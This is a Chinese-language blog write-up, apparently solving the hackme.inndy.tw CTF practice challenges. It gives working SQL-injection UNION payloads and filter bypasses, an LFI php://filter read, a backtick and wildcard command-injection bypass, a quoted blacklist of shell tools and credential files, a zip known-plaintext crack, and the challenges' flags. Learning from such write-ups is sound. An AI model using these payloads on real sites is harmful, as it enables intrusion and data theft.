hackme wp 待续

字数统计: 1.2k阅读时长: 6 min

 2019/09/17   Share

web

homepage

打开链接看console ,发现二维码，得到

1	flag FLAG{Oh, You found me!!!!!! Yeeeeeeee.}

hide and seek

看源代码

1	FLAG{0h U C meeeeeeeeeeeeeeeeeeee!}

guestbook

new post 后，查看 message list 时，发现url=https://hackme.inndy.tw/gb/?mod=read&id=13197

而id 部分猜测有sql注入漏洞。
在尝试 id=13197 order by 5 时 refererror 确定字段数为4。

1	?mod=read&id=0 union select 2,2,2, group_concat(table_name) from information_schema.tables where table_schema=database()

flag,posts,users

1	id=0 union select 2,2,2, group_concat(column_name) from information_schema.columns where table_name="flag"

id,flag,padding0,padding1

1	id=0 union select 2,2,2, group_concat(flag) from flag

flag

1	FLAG{Y0U_KN0W_SQL_1NJECT10N!!!' or 595342>123123#}

LFI

基本知识
推荐阅读1
推荐阅读2
tips:LFI, php://filter

谁便打开，观察url 在pages下https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

得Can you read the flag<?php require('config.php'); ?>?
在读

1	$flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}";

ping

htmlentities

$blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];

无反引号 \`ls`\

ping: flag.php
index.php: Name or service not known

\`sort ????????`\

关键！exec
通配符

1 2	ping: $flag = 'FLAG{ping_$(capture-the-flag)_UtUbtnvY5F9Hn5dR}'; <?php: Name or service not known

scoreboard

抓包
看 Response
得

1	FLAG{Header can hide some data aswell.}

login0

先看代码
重点

function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}

$_POST = array_map(safe_filter, $_POST

1
2
3

$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",   
        $_POST['name'],
        $_POST['password']

1	name=admin\' \|\|1=1 -- &password=guest

response

Hi, guest
You are not admin!

1	name=admin\' \|\|1=1 limit 1,10 -- &password=guest

flag
Hi, admin
You are admin!

1	FLAG{\' UNION SELECT "I Know SQL Injection" #}, flag2 in the database!

上题的答案给了提示

flag2 in the database

1	name=admin\' union select 1,database(),3,4#&password=a

database()
login_as_admin0>

1	name=admin\' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3,4#&password=a

table
h1dden_f14g,user
limit 1,1可以得到其他表名

1	name=admin\' union select 1,(select column_name from information_schema.columns where table_name="h1dden_f14g" limit 0,1),3,4#&password=a

column_name
the_f14g

1	name=admin\' union select 1,(select group_concat(the_f14g) from h1dden_f14g limit 0,1),3,4#&password=a

flag

1	Hi, FLAG{Good, Union select is quite easy to exploit!}

user
-> id
->1,2,3
-> user
->guest,admin,inndy
-> password
->Hi, guest,password length is the key to secure your system,meow~i am not admin

sql注入技巧

$strl = strtolower($str);
   if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||                 //问题在于空格、1=1、union select、select
       strstr($strl, 'union select') || strstr($strl, 'select ')
   ) {                                                                    
       return '';
   }
   return str_replace("'", "\\'", $str);

   //....
   //....

$sql = sprintf("SELECT * FROM `%s` WHERE `name` = '%s' AND `password` = '%s'",
       USER_TABLE, 
       $_POST['name'],
       $_POST['password']

name=admin\'/**/UNion/**/select/**/1,2,3,4#&password=1

空格可以用/**/替代， union/**/select -> union select , select/**/ -> select

得到flag

1	FLAG{He110, Admin\\' or 1337 < 314159 #}, flag2 in the database!

misc

flag

Description

1	FLAG{This is flag's format}

corgi-can-fly

没有给多余提示，猜测是隐写利用StegSolve tool 在Red plane 0 得到二维码

1	FLAG{Corgi is cutest aniaml on the earth >////////<}

television

利用hexdump -c television.bmp
可得

1	FLAG{PuRe_R@ND0M_DaTa_Fr0M/D3V/UR@ND0M}

meow

利用binwalk 发现存在zip文件
再利用foremost 提取文件发现zip加密

0000 发现不是zip伪加密
,且图片与之前的分割的图片一样，zip加密的明文攻击。

一开始，先想用ARCHPR来明文，但一直报错，改用kali pkcrack
推荐阅读
~~kali可能不自带pkcrack~~

zip plain.zip 00000000.png

1	./pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d flag.zip -a

flag

1	FLAG{pkcrack is your frien. MEOW, MEOW, MEOW~}

where is flag

tips :regular expression (正则表达式)
就是让你来找flag

regular expression.py

# -*- coding: UTF-8 -*-

import re

f = open("flag","r",encoding="utf-8")
data = f.read()

matchObj = re.search(r'FLAG{[0-9a-zA-Z]+}',data,re.M)
if matchObj:
    print (matchObj.group())
else:
    print("no match!!!")

#print(data,"\n")
f.close()

1	FLAG{VizQLeu9M3aybJBA3f1AgFROGyuTLXZ2oeRbKf1Agf1AgFLAG9hBTI}

Crypto

easy

r u kidding

1	EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}

凯撒

1	FLAG{It's tooo easy, just caesar cipher}

easy

import binascii
import base64

data = "526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d"
undata = binascii.unhexlify(data)
unndata = base64.b64decode(undata)
print(unndata)

1	FLAG{This is easy, right?}

原文作者：fe1w0

原文链接：https://fe1w0.github.io/2019/09/17/hackme%20wp%20%20%E5%BE%85%E7%BB%AD/

发表日期：September 17th 2019, 2:54:29 am

更新日期：March 15th 2021, 12:20:24 am

Next Post

面对未来



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true

hackme wp 待续

web

homepage

hide and seek

guestbook

LFI

ping

scoreboard

login0

login as admin 0.1

login as admin 1.0

misc

flag

corgi-can-fly

television

meow

where is flag

Crypto

easy

r u kidding

easy